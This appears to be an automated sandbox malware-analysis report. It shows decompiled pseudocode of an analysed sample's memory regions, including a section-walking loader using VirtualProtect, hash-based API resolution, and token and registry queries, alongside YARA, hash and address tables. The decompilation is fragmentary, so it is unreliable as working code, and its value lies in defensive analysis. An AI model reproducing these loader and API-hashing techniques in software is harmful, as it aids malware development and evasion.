                                                                                                                                              					_v140 = _v168 + 0x18 + ( *(_v168 + 0x14) & 0x0000ffff);
                                                                                                                                              					while(1) {
                                                                                                                                              						_t170 = _v140;
                                                                                                                                              						_t204 =  *(_t170 + 0x24);
                                                                                                                                              						_v148 = _t170;
                                                                                                                                              						_v152 = _t204 >> 0x0000001e & 0x00000001;
                                                                                                                                              						_v156 = _t204 >> 0x1f;
                                                                                                                                              						_v192 = _v72 +  *((intOrPtr*)(_t170 + 0xc));
                                                                                                                                              						_v188 =  *((intOrPtr*)(_v148 + 8));
                                                                                                                                              						_v184 =  *((intOrPtr*)(0x1e4418 + (_v152 << 4) + (_v156 << 3) + ((_t204 >> 0x0000001d & 0x00000001) << 2)));
                                                                                                                                              						_v180 =  &_v20;
                                                                                                                                              						_v160 = _v144;
                                                                                                                                              						_t182 = VirtualProtect(??, ??, ??, ??); // executed
                                                                                                                                              						_t278 = _t278 - 0x10;
                                                                                                                                              						_t224 = _v160 + 1;
                                                                                                                                              						_v164 = _t182;
                                                                                                                                              						_v144 = _t224;
                                                                                                                                              						_v140 = _v148 + 0x28;
                                                                                                                                              						if(_t224 == _v60) {
                                                                                                                                              							goto L8;
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				L8:
                                                                                                                                              				 *_t278 = _v72;
                                                                                                                                              				_v120 = _v72 +  *((intOrPtr*)(_v48 + 0x40));
                                                                                                                                              				_t160 = DisableThreadLibraryCalls(??);
                                                                                                                                              				_t279 = _t278 - 4;
                                                                                                                                              				_t239 =  *_v104;
                                                                                                                                              				_v172 = _t160;
                                                                                                                                              				_v176 = _t239;
                                                                                                                                              				_v116 = _v72;
                                                                                                                                              				if(_t239 == 0) {
                                                                                                                                              					L2:
                                                                                                                                              					_t250 = _v48;
                                                                                                                                              					_v44 =  *((intOrPtr*)(_t250 + 4));
                                                                                                                                              					_v40 =  *_t250;
                                                                                                                                              					_v36 =  *((intOrPtr*)(_t250 + 0x3c));
                                                                                                                                              					_v32 =  *((intOrPtr*)(_t250 + 0x20));
                                                                                                                                              					_v28 =  *((intOrPtr*)(_t250 + 0x2c));
                                                                                                                                              					_v24 = _v120;
                                                                                                                                              					 *_t279 = _t250;
                                                                                                                                              					_v192 = 0;
                                                                                                                                              					_v188 = 0x5c;
                                                                                                                                              					_v124 =  &_v44;
                                                                                                                                              					_v128 = 0;
                                                                                                                                              					_v132 = 0x5c;
                                                                                                                                              					_v136 =  *((intOrPtr*)(_v116 + 0x28));
                                                                                                                                              					E001E140D();
                                                                                                                                              					if(_v136 != 0) {
                                                                                                                                              						_t278 =  *((intOrPtr*)( &_v44 + 0x10));
                                                                                                                                              						goto __eax;
                                                                                                                                              					}
                                                                                                                                              					return 1;
                                                                                                                                              				} else {
                                                                                                                                              					_v116 = _v72 + (_v176 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                                                              					goto L2;
                                                                                                                                              				}
                                                                                                                                              			}
































































                                                                                                                                              0x001e1d48
                                                                                                                                              0x001e1d56
                                                                                                                                              0x001e1d5d
                                                                                                                                              0x001e1d60
                                                                                                                                              0x001e1d6a
                                                                                                                                              0x001e1d71
                                                                                                                                              0x001e1d7b
                                                                                                                                              0x001e1d81
                                                                                                                                              0x001e1d8a
                                                                                                                                              0x001e1d93
                                                                                                                                              0x001e1d96
                                                                                                                                              0x001e1d9c
                                                                                                                                              0x001e1da0
                                                                                                                                              0x001e1da8
                                                                                                                                              0x001e1dac
                                                                                                                                              0x001e1daf
                                                                                                                                              0x001e1db2
                                                                                                                                              0x001e1db5
                                                                                                                                              0x001e1db8
                                                                                                                                              0x001e1dd2
                                                                                                                                              0x001e1dd8
                                                                                                                                              0x001e1ddb
                                                                                                                                              0x001e1de3
                                                                                                                                              0x001e1de7
                                                                                                                                              0x001e1dea
                                                                                                                                              0x001e1ded
                                                                                                                                              0x001e1df0
                                                                                                                                              0x001e1df3
                                                                                                                                              0x001e1e0f
                                                                                                                                              0x001e1e2c
                                                                                                                                              0x001e1e51
                                                                                                                                              0x001e1e53
                                                                                                                                              0x001e1e5c
                                                                                                                                              0x001e1e5f
                                                                                                                                              0x001e1e69
                                                                                                                                              0x001e1e6c
                                                                                                                                              0x001e1e6f
                                                                                                                                              0x001e1e72
                                                                                                                                              0x001e1e75
                                                                                                                                              0x001e1fd2
                                                                                                                                              0x001e1fd2
                                                                                                                                              0x001e204c
                                                                                                                                              0x001e2052
                                                                                                                                              0x001e1fee
                                                                                                                                              0x001e1ff4
                                                                                                                                              0x001e1f07
                                                                                                                                              0x001e1f07
                                                                                                                                              0x001e1f22
                                                                                                                                              0x001e1f25
                                                                                                                                              0x001e1f33
                                                                                                                                              0x001e1f44
                                                                                                                                              0x001e1f70
                                                                                                                                              0x001e1f73
                                                                                                                                              0x001e1f77
                                                                                                                                              0x001e1f7b
                                                                                                                                              0x001e1f82
                                                                                                                                              0x001e1f88
                                                                                                                                              0x001e1f8a
                                                                                                                                              0x001e1f93
                                                                                                                                              0x001e1fa4
                                                                                                                                              0x001e1faa
                                                                                                                                              0x001e1fb0
                                                                                                                                              0x001e1fb6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x001e1fb8
                                                                                                                                              0x001e1f07
                                                                                                                                              0x001e1fff
                                                                                                                                              0x001e200d
                                                                                                                                              0x001e2015
                                                                                                                                              0x001e2018
                                                                                                                                              0x001e201a
                                                                                                                                              0x001e2020
                                                                                                                                              0x001e202c
                                                                                                                                              0x001e2032
                                                                                                                                              0x001e2038
                                                                                                                                              0x001e203b
                                                                                                                                              0x001e1e80
                                                                                                                                              0x001e1e90
                                                                                                                                              0x001e1e96
                                                                                                                                              0x001e1e9b
                                                                                                                                              0x001e1ea1
                                                                                                                                              0x001e1ea7
                                                                                                                                              0x001e1ead
                                                                                                                                              0x001e1eb3
                                                                                                                                              0x001e1eb6
                                                                                                                                              0x001e1eb9
                                                                                                                                              0x001e1ec1
                                                                                                                                              0x001e1ec9
                                                                                                                                              0x001e1ecc
                                                                                                                                              0x001e1ecf
                                                                                                                                              0x001e1ed2
                                                                                                                                              0x001e1ed8
                                                                                                                                              0x001e1ee6
                                                                                                                                              0x001e1efa
                                                                                                                                              0x001e1f00
                                                                                                                                              0x001e1f00
                                                                                                                                              0x001e206f
                                                                                                                                              0x001e2041
                                                                                                                                              0x001e2093
                                                                                                                                              0x00000000
                                                                                                                                              0x001e2093

                                                                                                                                              APIs
                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.682521592.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: true
                                                                                                                                              Similarity
                                                                                                                                              • API ID: ProtectVirtual
                                                                                                                                              • String ID: \
                                                                                                                                              • API String ID: 544645111-2967466578
                                                                                                                                              • Opcode ID: 5c7be5a9ec9ebe1c075185c52b9c9cb743ceb7d9aab8a0d041ed37c6559b510d
                                                                                                                                              • Instruction ID: c680cb21aabd4955fd245240303c14928035ec2eeb8c97d89b5b11c2e3d4db1d
                                                                                                                                              • Opcode Fuzzy Hash: 5c7be5a9ec9ebe1c075185c52b9c9cb743ceb7d9aab8a0d041ed37c6559b510d
                                                                                                                                              • Instruction Fuzzy Hash: 59B1CEB4E002189FCB14CF99C980A9DFBF1FF48304F2585AAE958AB351D730A985CF91
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 86%
                                                                                                                                              			E6EBE10A4(void* __ebx, void* __ecx) {
                                                                                                                                              				intOrPtr* _t34;
                                                                                                                                              				long* _t55;
                                                                                                                                              				long* _t59;
                                                                                                                                              				intOrPtr* _t64;
                                                                                                                                              				void* _t73;
                                                                                                                                              				void* _t74;
                                                                                                                                              				void* _t79;
                                                                                                                                              				long* _t80;
                                                                                                                                              
                                                                                                                                              				_t74 = __ecx;
                                                                                                                                              				_t80[7] = 0;
                                                                                                                                              				_t64 = E6EBE306C(0x150c05fc, 0x1da4d409, 0x150c05fc, 0x150c05fc);
                                                                                                                                              				if(_t64 != 0) {
                                                                                                                                              					 *_t64(_t74, 8,  &(_t80[7]));
                                                                                                                                              				}
                                                                                                                                              				_t55 = _t80;
                                                                                                                                              				 *_t55 = _t80[7];
                                                                                                                                              				_t55[1] = 1;
                                                                                                                                              				if(E6EBDC280(_t55) != 0) {
                                                                                                                                              					L6:
                                                                                                                                              					if(_t80[1] != 0) {
                                                                                                                                              						E6EBDBB44(_t80);
                                                                                                                                              					}
                                                                                                                                              					return 0;
                                                                                                                                              				}
                                                                                                                                              				_t80[6] = 0;
                                                                                                                                              				if(E6EBE306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc) != 0) {
                                                                                                                                              					GetTokenInformation(_t80[4], 0x19, 0, 0,  &(_t80[6])); // executed
                                                                                                                                              				}
                                                                                                                                              				_t30 = _t80[6];
                                                                                                                                              				if(_t80[6] != 0) {
                                                                                                                                              					E6EBDF584( &(_t80[3]), _t30);
                                                                                                                                              					_t59 =  &(_t80[3]);
                                                                                                                                              					_t73 = E6EBDF4BC(_t59, 0);
                                                                                                                                              					_t34 = E6EBE306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                                                              					if (_t34 == 0) goto L33;
                                                                                                                                              					 *_t34 =  *_t34 + _t34;
                                                                                                                                              					 *((intOrPtr*)(_t79 + 0x50182444)) =  *((intOrPtr*)(_t79 + 0x50182444)) + _t59;
                                                                                                                                              				} else {
                                                                                                                                              					goto L6;
                                                                                                                                              				}
                                                                                                                                              			}











                                                                                                                                              0x6ebe10b3
                                                                                                                                              0x6ebe10b5
                                                                                                                                              0x6ebe10c4
                                                                                                                                              0x6ebe10c8
                                                                                                                                              0x6ebe10d2
                                                                                                                                              0x6ebe10d2
                                                                                                                                              0x6ebe10d8
                                                                                                                                              0x6ebe10db
                                                                                                                                              0x6ebe10dd
                                                                                                                                              0x6ebe10e8
                                                                                                                                              0x6ebe1122
                                                                                                                                              0x6ebe1127
                                                                                                                                              0x6ebe112c
                                                                                                                                              0x6ebe112c
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1131
                                                                                                                                              0x6ebe10f4
                                                                                                                                              0x6ebe1107
                                                                                                                                              0x6ebe1118
                                                                                                                                              0x6ebe1118
                                                                                                                                              0x6ebe111a
                                                                                                                                              0x6ebe1120
                                                                                                                                              0x6ebe113e
                                                                                                                                              0x6ebe1145
                                                                                                                                              0x6ebe114e
                                                                                                                                              0x6ebe115c
                                                                                                                                              0x6ebe1165
                                                                                                                                              0x6ebe1168
                                                                                                                                              0x6ebe116a
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000

                                                                                                                                              APIs
                                                                                                                                              • GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,150C05FC,150C05FC,150C05FC,150C05FC), ref: 6EBE1118
                                                                                                                                              • GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,150C05FC,150C05FC,00000000,00000000,150C05FC,150C05FC,150C05FC,150C05FC), ref: 6EBE117B
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: InformationToken
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 4114910276-0
                                                                                                                                              • Opcode ID: d4114acdae47b760778368f229c105cfa951edf473a092887fb2ca255ca5d737
                                                                                                                                              • Instruction ID: 51dc38ecac50246382c3935d4c20ddcae1e1f1717c3dd481425a0b457e88748d
                                                                                                                                              • Opcode Fuzzy Hash: d4114acdae47b760778368f229c105cfa951edf473a092887fb2ca255ca5d737
                                                                                                                                              • Instruction Fuzzy Hash: 5D41E5702482C36AEB55D7E89C60BAF7FDCDF85784F288828A550DA994DB24CC8DC752
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 94%
                                                                                                                                              			E6EBE57B4(void* __ecx, char* _a4, intOrPtr _a8) {
                                                                                                                                              				int _v16;
                                                                                                                                              				int _v20;
                                                                                                                                              				intOrPtr _t11;
                                                                                                                                              				int* _t12;
                                                                                                                                              				int _t13;
                                                                                                                                              				void* _t23;
                                                                                                                                              				char* _t35;
                                                                                                                                              				int* _t38;
                                                                                                                                              
                                                                                                                                              				_push(_t34);
                                                                                                                                              				_t23 = __ecx;
                                                                                                                                              				_t11 =  *((intOrPtr*)(__ecx + 4));
                                                                                                                                              				if(_t11 == 0 || _t11 == 0xffffffff) {
                                                                                                                                              					_t12 = 1;
                                                                                                                                              				} else {
                                                                                                                                              					_t12 = 0;
                                                                                                                                              				}
                                                                                                                                              				if(_t12 != 0) {
                                                                                                                                              					L10:
                                                                                                                                              					_t13 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					_t35 = _a4;
                                                                                                                                              					if(_t35 == 0 ||  *_t35 != 0) {
                                                                                                                                              						_v20 = 0;
                                                                                                                                              						_v16 = 0;
                                                                                                                                              						if(E6EBE3064(0x150c05fc, 0x545b7fe2) != 0) {
                                                                                                                                              							RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, 0,  &_v16); // executed
                                                                                                                                              						}
                                                                                                                                              						_t15 = _v16;
                                                                                                                                              						if(_v16 != 0) {
                                                                                                                                              							E6EBDF828(_a8, _t15);
                                                                                                                                              							if(E6EBE3064(0x150c05fc, 0x545b7fe2) != 0) {
                                                                                                                                              								RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, E6EBDF4BC(_a8, 0),  &_v20); // executed
                                                                                                                                              							}
                                                                                                                                              							_t13 = _v20;
                                                                                                                                              						} else {
                                                                                                                                              							goto L10;
                                                                                                                                              						}
                                                                                                                                              					} else {
                                                                                                                                              						goto L10;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				return _t13;
                                                                                                                                              			}











                                                                                                                                              0x6ebe57b8
                                                                                                                                              0x6ebe57b9
                                                                                                                                              0x6ebe57bb
                                                                                                                                              0x6ebe57c0
                                                                                                                                              0x6ebe57c7
                                                                                                                                              0x6ebe57cb
                                                                                                                                              0x6ebe57cb
                                                                                                                                              0x6ebe57cb
                                                                                                                                              0x6ebe57cf
                                                                                                                                              0x6ebe5815
                                                                                                                                              0x6ebe5815
                                                                                                                                              0x6ebe57d1
                                                                                                                                              0x6ebe57d1
                                                                                                                                              0x6ebe57d7
                                                                                                                                              0x6ebe57e0
                                                                                                                                              0x6ebe57e3
                                                                                                                                              0x6ebe57fa
                                                                                                                                              0x6ebe580b
                                                                                                                                              0x6ebe580b
                                                                                                                                              0x6ebe580d
                                                                                                                                              0x6ebe5813
                                                                                                                                              0x6ebe581e
                                                                                                                                              0x6ebe5836
                                                                                                                                              0x6ebe5856
                                                                                                                                              0x6ebe5856
                                                                                                                                              0x6ebe5858
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe57d7
                                                                                                                                              0x6ebe5860

                                                                                                                                              APIs
                                                                                                                                              • RegQueryValueExA.KERNELBASE(?,6EBED1F8,00000000,?,00000000,00000000,?,?,?,6EBED1F8,?,6EBE5887,?,00000000,00000000), ref: 6EBE580B
                                                                                                                                              • RegQueryValueExA.KERNELBASE(?,6EBED1F8,00000000,?,00000000,00000000,00000000,00000000,?,?,?,6EBED1F8,?,6EBE5887,?,00000000), ref: 6EBE5856
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: QueryValue
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 3660427363-0
                                                                                                                                              • Opcode ID: 1efe9e4701dbfa3cada60aee337f192807569c167ced025668ece5e7b2494b7e
                                                                                                                                              • Instruction ID: d1ecfd146534bfeb442f0a7317e25cf96cb97419c75baaa8d4f0febda414407d
                                                                                                                                              • Opcode Fuzzy Hash: 1efe9e4701dbfa3cada60aee337f192807569c167ced025668ece5e7b2494b7e
                                                                                                                                              • Instruction Fuzzy Hash: 2811D63020E386EBD611DAA5DC90EABBFDCEF46794F10881DF59497541EB21E800CBB5
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 65%
                                                                                                                                              			E6EBE5B3C(WCHAR** __ecx, void* __edx, intOrPtr _a4, long _a8, long _a12) {
                                                                                                                                              				char _v24;
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* _t16;
                                                                                                                                              				void* _t30;
                                                                                                                                              				long _t37;
                                                                                                                                              				void* _t38;
                                                                                                                                              				long _t39;
                                                                                                                                              				WCHAR** _t40;
                                                                                                                                              				intOrPtr* _t55;
                                                                                                                                              				WCHAR** _t56;
                                                                                                                                              				char* _t59;
                                                                                                                                              				long _t60;
                                                                                                                                              
                                                                                                                                              				_t56 = __ecx;
                                                                                                                                              				_t37 = _a8;
                                                                                                                                              				if(E6EBDD1CC(__ecx, 0x2f) != 0) {
                                                                                                                                              					_t58 = _t60;
                                                                                                                                              					E6EBDD6D0(__ecx, _t60);
                                                                                                                                              					E6EBDCFF8(_t56,  *_t60);
                                                                                                                                              					E6EBDCFDC(_t60);
                                                                                                                                              				}
                                                                                                                                              				if(_t37 == 0) {
                                                                                                                                              					_t64 = _a4 - 1;
                                                                                                                                              					if(_a4 != 1) {
                                                                                                                                              						__eflags = _a4 - 4;
                                                                                                                                              						_t37 = (0 | _a4 == 0x00000004) + 2;
                                                                                                                                              						__eflags = _t37;
                                                                                                                                              					} else {
                                                                                                                                              						_t37 = 1;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				E6EBE62B0(_t64);
                                                                                                                                              				if(_a4 > 5) {
                                                                                                                                              					_t58 = 0;
                                                                                                                                              					if(_t37 != 2) {
                                                                                                                                              						_t16 = 3;
                                                                                                                                              						__eflags = _t37 - 1;
                                                                                                                                              						_t38 = 0;
                                                                                                                                              						_t39 =  ==  ? _t16 : _t38;
                                                                                                                                              					} else {
                                                                                                                                              						_t39 = 1;
                                                                                                                                              					}
                                                                                                                                              					if(E6EBE3064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              						_push(0);
                                                                                                                                              					} else {
                                                                                                                                              						_t30 = CreateFileW( *_t56, 0, _t39, 0, _t58, _a12, 0); // executed
                                                                                                                                              						_push(_t30);
                                                                                                                                              					}
                                                                                                                                              					_t40 =  &(_t56[3]);
                                                                                                                                              					E6EBDC26C(_t40);
                                                                                                                                              					if(E6EBDC280(_t40) != 0) {
                                                                                                                                              						_t56[2] = E6EBE35F0(0);
                                                                                                                                              						return 0;
                                                                                                                                              					} else {
                                                                                                                                              						if(_a4 == 2) {
                                                                                                                                              							_t55 = E6EBE3064(0x8e844d1e, 0xba53868);
                                                                                                                                              							__eflags = _t55;
                                                                                                                                              							if(_t55 != 0) {
                                                                                                                                              								 *_t55( *_t40, 0, 0, 2);
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              						_t59 =  &_v24;
                                                                                                                                              						E6EBE3698(_t59, 0xff, 8);
                                                                                                                                              						if(E6EBE3064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              							_push(_t59);
                                                                                                                                              							_push(_t59);
                                                                                                                                              							_push(0);
                                                                                                                                              							_push( *_t40);
                                                                                                                                              							asm("int3");
                                                                                                                                              							asm("int3");
                                                                                                                                              						}
                                                                                                                                              						return 1;
                                                                                                                                              					}
                                                                                                                                              				} else {
                                                                                                                                              					goto __eax;
                                                                                                                                              				}
                                                                                                                                              			}















                                                                                                                                              0x6ebe5b43
                                                                                                                                              0x6ebe5b45
                                                                                                                                              0x6ebe5b52
                                                                                                                                              0x6ebe5b56
                                                                                                                                              0x6ebe5b5a
                                                                                                                                              0x6ebe5b64
                                                                                                                                              0x6ebe5b6b
                                                                                                                                              0x6ebe5b6b
                                                                                                                                              0x6ebe5b72
                                                                                                                                              0x6ebe5b74
                                                                                                                                              0x6ebe5b79
                                                                                                                                              0x6ebe5b82
                                                                                                                                              0x6ebe5b8a
                                                                                                                                              0x6ebe5b8a
                                                                                                                                              0x6ebe5b7b
                                                                                                                                              0x6ebe5b7d
                                                                                                                                              0x6ebe5b7d
                                                                                                                                              0x6ebe5b79
                                                                                                                                              0x6ebe5b8f
                                                                                                                                              0x6ebe5b9b
                                                                                                                                              0x6ebe5ccc
                                                                                                                                              0x6ebe5c09
                                                                                                                                              0x6ebe5c12
                                                                                                                                              0x6ebe5c13
                                                                                                                                              0x6ebe5c18
                                                                                                                                              0x6ebe5c19
                                                                                                                                              0x6ebe5c0b
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c2f
                                                                                                                                              0x6ebe5c43
                                                                                                                                              0x6ebe5c31
                                                                                                                                              0x6ebe5c3e
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c45
                                                                                                                                              0x6ebe5c4a
                                                                                                                                              0x6ebe5c58
                                                                                                                                              0x6ebe5cc3
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe5c5a
                                                                                                                                              0x6ebe5c5f
                                                                                                                                              0x6ebe5cac
                                                                                                                                              0x6ebe5cae
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5c61
                                                                                                                                              0x6ebe5c6d
                                                                                                                                              0x6ebe5c86
                                                                                                                                              0x6ebe5c88
                                                                                                                                              0x6ebe5c89
                                                                                                                                              0x6ebe5c8a
                                                                                                                                              0x6ebe5c8c
                                                                                                                                              0x6ebe5c8e
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5ba1
                                                                                                                                              0x6ebe5bb1
                                                                                                                                              0x6ebe5bb1

                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID:
                                                                                                                                              • Opcode ID: 658f9a9f1d2c15c67594b0fab44333a386a595df2fd1f7d039ddcc7051ff0d47
                                                                                                                                              • Instruction ID: 58f882d3a9ffd5422050e4d39a14979a5b0d29fcf4060289b69c89422e4c7a88
                                                                                                                                              • Opcode Fuzzy Hash: 658f9a9f1d2c15c67594b0fab44333a386a595df2fd1f7d039ddcc7051ff0d47
                                                                                                                                              • Instruction Fuzzy Hash: 5F31693029538ABEEB502AF54DA5F7F7E9DDF817C8F004C38F94195A85DF119808C665
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 30%
                                                                                                                                              			_entry_(void* __eflags, intOrPtr _a4) {
                                                                                                                                              				intOrPtr _v20;
                                                                                                                                              				intOrPtr _v24;
                                                                                                                                              				intOrPtr _v28;
                                                                                                                                              				int _v32;
                                                                                                                                              				intOrPtr _v36;
                                                                                                                                              				long _v40;
                                                                                                                                              				intOrPtr _v44;
                                                                                                                                              				void* _v48;
                                                                                                                                              				intOrPtr _v52;
                                                                                                                                              				intOrPtr _v56;
                                                                                                                                              				void* __ebx;
                                                                                                                                              				void* __edi;
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* __ebp;
                                                                                                                                              				intOrPtr _t27;
                                                                                                                                              				intOrPtr _t29;
                                                                                                                                              				intOrPtr _t31;
                                                                                                                                              				intOrPtr _t32;
                                                                                                                                              				int _t44;
                                                                                                                                              				intOrPtr _t46;
                                                                                                                                              				void* _t53;
                                                                                                                                              				long _t55;
                                                                                                                                              				intOrPtr* _t56;
                                                                                                                                              
                                                                                                                                              				_t27 = _a4;
                                                                                                                                              				 *_t56 = _t27;
                                                                                                                                              				_v20 = _t27;
                                                                                                                                              				_v24 = E001E24E8(__eflags);
                                                                                                                                              				_t29 = L001E1258();
                                                                                                                                              				_v28 = _t29;
                                                                                                                                              				if(_t29 != 0) {
                                                                                                                                              					 *_t56 = _v28;
                                                                                                                                              					_t46 =  *((intOrPtr*)(_v20 + 0x30))();
                                                                                                                                              					_t56 = _t56 - 4;
                                                                                                                                              					_v36 = _t46;
                                                                                                                                              				}
                                                                                                                                              				 *_t56 = _v20;
                                                                                                                                              				_t31 = E001E1BD4();
                                                                                                                                              				 *_t56 = _v20;
                                                                                                                                              				_v52 = _t31;
                                                                                                                                              				_t32 = E001E184E(); // executed
                                                                                                                                              				_t53 =  *((intOrPtr*)(_v20 + 8));
                                                                                                                                              				_t55 =  *((intOrPtr*)(_t53 + 0x3c));
                                                                                                                                              				_t54 = _t55;
                                                                                                                                              				_t47 = _t53;
                                                                                                                                              				_v56 = _t32;
                                                                                                                                              				_v44 = _t53;
                                                                                                                                              				_v40 = _t55;
                                                                                                                                              				_v48 = _t53;
                                                                                                                                              				if(_t55 != 0) {
                                                                                                                                              					_v48 = _v44 + (_v40 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                                                              				}
                                                                                                                                              				if( *((short*)(_v48 + 0x5c)) != 3) {
                                                                                                                                              					_t44 = FreeConsole(); // executed
                                                                                                                                              					_v32 = _t44;
                                                                                                                                              				}
                                                                                                                                              				 *_t56 = _v20;
                                                                                                                                              				E001E1C68();
                                                                                                                                              				 *_t56 = _v20; // executed
                                                                                                                                              				E001E1D3C(_t47, _t54, _t55); // executed
                                                                                                                                              				return 0;
                                                                                                                                              			}


























                                                                                                                                              0x001e2192
                                                                                                                                              0x001e2195
                                                                                                                                              0x001e2198
                                                                                                                                              0x001e21a0
                                                                                                                                              0x001e21a3
                                                                                                                                              0x001e21ab
                                                                                                                                              0x001e21ae
                                                                                                                                              0x001e21c1
                                                                                                                                              0x001e21c7
                                                                                                                                              0x001e21ca
                                                                                                                                              0x001e21cd
                                                                                                                                              0x001e21cd
                                                                                                                                              0x001e220f
                                                                                                                                              0x001e2212
                                                                                                                                              0x001e221a
                                                                                                                                              0x001e221d
                                                                                                                                              0x001e2220
                                                                                                                                              0x001e2228
                                                                                                                                              0x001e222b
                                                                                                                                              0x001e222e
                                                                                                                                              0x001e2235
                                                                                                                                              0x001e2237
                                                                                                                                              0x001e223a
                                                                                                                                              0x001e223d
                                                                                                                                              0x001e2240
                                                                                                                                              0x001e2243
                                                                                                                                              0x001e21e7
                                                                                                                                              0x001e21e7
                                                                                                                                              0x001e224d
                                                                                                                                              0x001e21b7
                                                                                                                                              0x001e21b9
                                                                                                                                              0x001e21b9
                                                                                                                                              0x001e21ef
                                                                                                                                              0x001e21f2
                                                                                                                                              0x001e21fa
                                                                                                                                              0x001e21fd
                                                                                                                                              0x001e220b

                                                                                                                                              APIs
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.682521592.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: true
                                                                                                                                              Similarity
                                                                                                                                              • API ID: ConsoleFree
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 771614528-0
                                                                                                                                              • Opcode ID: f5c62478b08c0824110b984bc314ffdd2f4482a1b86a6128f49edb17199c5c1a
                                                                                                                                              • Instruction ID: 908832986fd638bf261462454f9a924bc303151a9bc11ead9a2e25968d46cc56
                                                                                                                                              • Opcode Fuzzy Hash: f5c62478b08c0824110b984bc314ffdd2f4482a1b86a6128f49edb17199c5c1a
                                                                                                                                              • Instruction Fuzzy Hash: EB2139B1D0464A8FCB04EFBAC8955ADBBF5FF08300F154829E555EB300E7349980CB51
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6EBE1166(intOrPtr* __eax, void* __ebx, void* __ecx) {
                                                                                                                                              				void* _t20;
                                                                                                                                              
                                                                                                                                              				 *__eax =  *__eax + __eax;
                                                                                                                                              				 *((intOrPtr*)(_t20 + 0x50182444)) =  *((intOrPtr*)(_t20 + 0x50182444)) + __ecx;
